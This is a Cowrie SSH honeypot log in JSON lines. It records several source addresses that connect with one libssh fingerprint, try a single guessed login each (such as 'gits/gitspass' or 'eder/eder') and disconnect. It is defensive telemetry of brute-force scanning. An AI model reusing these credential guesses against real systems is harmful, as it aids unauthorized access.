{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:33.837212Z","src_ip":"210.79.191.18","session":"a7628742ecb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":54076,"dst_ip":"10.17.0.5","dst_port":22,"session":"abbf7d1800a7","protocol":"ssh","message":"New connection: 101.36.123.173:54076 (10.17.0.5:22) [session: abbf7d1800a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:12.819760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:12.823980Z","src_ip":"101.36.123.173","session":"abbf7d1800a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:13.035611Z","src_ip":"101.36.123.173","session":"abbf7d1800a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"talha","password":"Talha123","message":"login attempt [talha/Talha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:13.913489Z","src_ip":"101.36.123.173","session":"abbf7d1800a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:15.127509Z","src_ip":"101.36.123.173","session":"abbf7d1800a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":54698,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f758b45148e","protocol":"ssh","message":"New connection: 210.79.191.199:54698 (10.17.0.5:22) [session: 3f758b45148e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:24.719720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:24.729141Z","src_ip":"210.79.191.199","session":"3f758b45148e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:25.129819Z","src_ip":"210.79.191.199","session":"3f758b45148e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eder","password":"eder","message":"login attempt [eder/eder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:26.096844Z","src_ip":"210.79.191.199","session":"3f758b45148e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:27.338907Z","src_ip":"210.79.191.199","session":"3f758b45148e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":35872,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e20d6aec22e","protocol":"ssh","message":"New connection: 64.188.83.153:35872 (10.17.0.5:22) [session: 1e20d6aec22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:43.941705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:43.945753Z","src_ip":"64.188.83.153","session":"1e20d6aec22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:44.035722Z","src_ip":"64.188.83.153","session":"1e20d6aec22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eder","password":"eder","message":"login attempt [eder/eder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:44.409368Z","src_ip":"64.188.83.153","session":"1e20d6aec22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:45.496647Z","src_ip":"64.188.83.153","session":"1e20d6aec22e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":47236,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b6ce9c11fe","protocol":"ssh","message":"New connection: 207.180.205.155:47236 (10.17.0.5:22) [session: 13b6ce9c11fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:47.593776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:47.598624Z","src_ip":"207.180.205.155","session":"13b6ce9c11fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:47.694486Z","src_ip":"207.180.205.155","session":"13b6ce9c11fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beehive","password":"12345","message":"login attempt [beehive/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:48.333167Z","src_ip":"207.180.205.155","session":"13b6ce9c11fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:49.431054Z","src_ip":"207.180.205.155","session":"13b6ce9c11fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":34888,"dst_ip":"10.17.0.5","dst_port":22,"session":"b98fb5272c40","protocol":"ssh","message":"New connection: 165.154.6.86:34888 (10.17.0.5:22) [session: b98fb5272c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:57.254983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:57.259401Z","src_ip":"165.154.6.86","session":"b98fb5272c40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:57.475871Z","src_ip":"165.154.6.86","session":"b98fb5272c40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mirror","password":"mirror","message":"login attempt [mirror/mirror] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:58.375013Z","src_ip":"165.154.6.86","session":"b98fb5272c40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:16:59.594007Z","src_ip":"165.154.6.86","session":"b98fb5272c40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":55488,"dst_ip":"10.17.0.5","dst_port":22,"session":"1795b9cc8293","protocol":"ssh","message":"New connection: 210.79.191.18:55488 (10.17.0.5:22) [session: 1795b9cc8293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:17:25.984845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:17:25.988372Z","src_ip":"210.79.191.18","session":"1795b9cc8293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:17:26.235231Z","src_ip":"210.79.191.18","session":"1795b9cc8293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"gitspass","message":"login attempt [gits/gitspass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:17:27.264588Z","src_ip":"210.79.191.18","session":"1795b9cc8293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:17:28.513302Z","src_ip":"210.79.191.18","session":"1795b9cc8293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":54460,"dst_ip":"10.17.0.5","dst_port":22,"session":"85089bc0ac17","protocol":"ssh","message":"New connection: 101.36.123.173:54460 (10.17.0.5:22) [session: 85089bc0ac17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:03.526677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:03.531509Z","src_ip":"101.36.123.173","session":"85089bc0ac17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:03.747641Z","src_ip":"101.36.123.173","session":"85089bc0ac17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logviewer","password":"logviewerpass","message":"login attempt [logviewer/logviewerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:04.642797Z","src_ip":"101.36.123.173","session":"85089bc0ac17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:05.860713Z","src_ip":"101.36.123.173","session":"85089bc0ac17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":61548,"dst_ip":"10.17.0.5","dst_port":22,"session":"175788befd08","protocol":"ssh","message":"New connection: 64.188.83.153:61548 (10.17.0.5:22) [session: 175788befd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:08.563350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:08.573930Z","src_ip":"64.188.83.153","session":"175788befd08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:08.659788Z","src_ip":"64.188.83.153","session":"175788befd08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"Uftp123","message":"login attempt [uftp/Uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:09.035595Z","src_ip":"64.188.83.153","session":"175788befd08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:10.128628Z","src_ip":"64.188.83.153","session":"175788befd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":36654,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea74e80441e","protocol":"ssh","message":"New connection: 210.79.191.199:36654 (10.17.0.5:22) [session: 9ea74e80441e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:17.812237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:17.817971Z","src_ip":"210.79.191.199","session":"9ea74e80441e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:18.069558Z","src_ip":"210.79.191.199","session":"9ea74e80441e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"gitspass","message":"login attempt [gits/gitspass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:19.263541Z","src_ip":"210.79.191.199","session":"9ea74e80441e","protocol":"ssh"}
